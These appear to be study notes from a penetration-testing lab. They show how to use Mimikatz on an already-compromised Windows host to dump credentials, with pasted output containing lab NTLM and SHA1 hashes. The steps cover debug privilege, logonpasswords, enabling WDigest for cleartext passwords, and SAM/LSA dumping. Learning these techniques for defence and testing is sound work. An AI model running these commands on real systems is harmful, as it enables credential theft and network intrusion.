# **MIMIKATZ**

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## What is Mimikatz?:

- Tool used to view and steal credentials, generate Kerberos tickets, and leverage attacks
- Dumps credentials stored in memory.
- Just a few attacks: Credential Dumping, Pass-the-Hash, Over-Pass-the-Hash, Passthe-Ticket, Golden Ticket, Silver Ticket

ALLOW US TO DUMP DATA AND HASHES. (ONLY WORK IF WE HAD ALREADY COMPROMISED A MACHINE)

#### **EXAMPLE:**

RUN MIMIKATZ ON THE TARGET MACHINE

RUN PRIVILEGE::DEBUG(IMPORTANT)

IF WE DON'T HAVE THE PRIVILEGE DEBUG ON, WE WOULDN'T BE ABLE TO BYPASS THE MEMORY PROTECTION

```
mimikatz # privilege::debug
Privilege '20' OK
mimikatz #
```

COMMAND: SEKURLSA::LOGONPASSWORDS. YOU CAN SEE THE USERNAME AND THE HASHES AS LONG AS ANY USER THAT HAS LOGIN SINCE THE LAST REBOOT THAT STORED HERE IN THE MEMORY

```
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # sekurlsa::logonpasswords
Authentication Id : 0 ; 231402 (00000000:000387ea)
Session
                    : Interactive from 1
User Name
                    : fcastle
Domain
                    : MARVEL
 ogon Server
                    : HYDRA-DC
 ogon Time
                    : 8/22/2022 1:51:40 PM
SID
                    : S-1-5-21-3403182411-459653420-1660587703-1103
        msv : \( \)
[00000003] Primary
* Username : fcastle
          * Domain : MARVEL
          * NTLM
                      : 64f12cddaa88057e06a81b54e73b949b
          * SHA1
                      : cba4e545b7ec918129725154b29f055e4cd5aea8
          * DPAPI
                      : 8a47e170a75d1134c7e619c91da74726
         tspkg :
```

WDIGEST IS A FEATURE OF WINDOW THAT SHOW THE PASSWORD IN CLEARTEX. IT WAS DISABLED ON WINDOW 8 ABOVE BUT WE CAN ENABLE IT ON BY MIMIKATZ AND WAIT FOR SOMEBODY LOG ON THE COMPUTER (LOG OFF AND LOG IN AGAIN).

```
msv :
  tspkg :
  wdigest :
  * Username : HYDRA-DC$
  * Domain : MARVEL
  * Password : (null)
  kerberos :
  * Username : hydra-dc$
  * Domain : MARVEL.LOCAL
  * Password : (null)
  ssp :
  credman :
```

### IT ALSO CAN DUMP SAM

```
mimikatz # lsadump::sam

Domain : THEPUNISHER

SysKey : 8dcfea11c2a58b20a3799ec20b927d77

ERROR kull_m_registry_OpenAndQueryWithAlloc ; kull_m_registry_RegOpenKeyEx KO

ERROR kuhl_m_lsadump_getUsersAndSamKey ; kull_m_registry_RegOpenKeyEx SAM Accounts (0x00000005)

mimikatz # lsadump::sam /patch

Domain : THEPUNISHER

SysKey : 8dcfea11c2a58b20a3799ec20b927d77

ERROR kull_m_registry_OpenAndQueryWithAlloc ; kull_m_registry_RegOpenKeyEx KO

ERROR kuhl_m_lsadump_getUsersAndSamKey ; kull_m_registry_RegOpenKeyEx SAM Accounts (0x00000005)

mimikatz #
```

LSADUMP::LSA /PATCH

U CAN DO WITH OUT THE /PATCH. THE /PATCH ALLOWS US TO ACTUALLY GET INTO THE INFORMATION

LSA IS LOCAL SECURITY AUTHORITIES. IT IS A PROTECTED SUBSYSTEM IN WINDOWS AUTHENTICATION AND IT AUTHENTICATE AND CREATE LOGS ON SESSIONS TO THE LOCAL COMPUTER.

# mimikatz # lsadump::lsa /patch\_

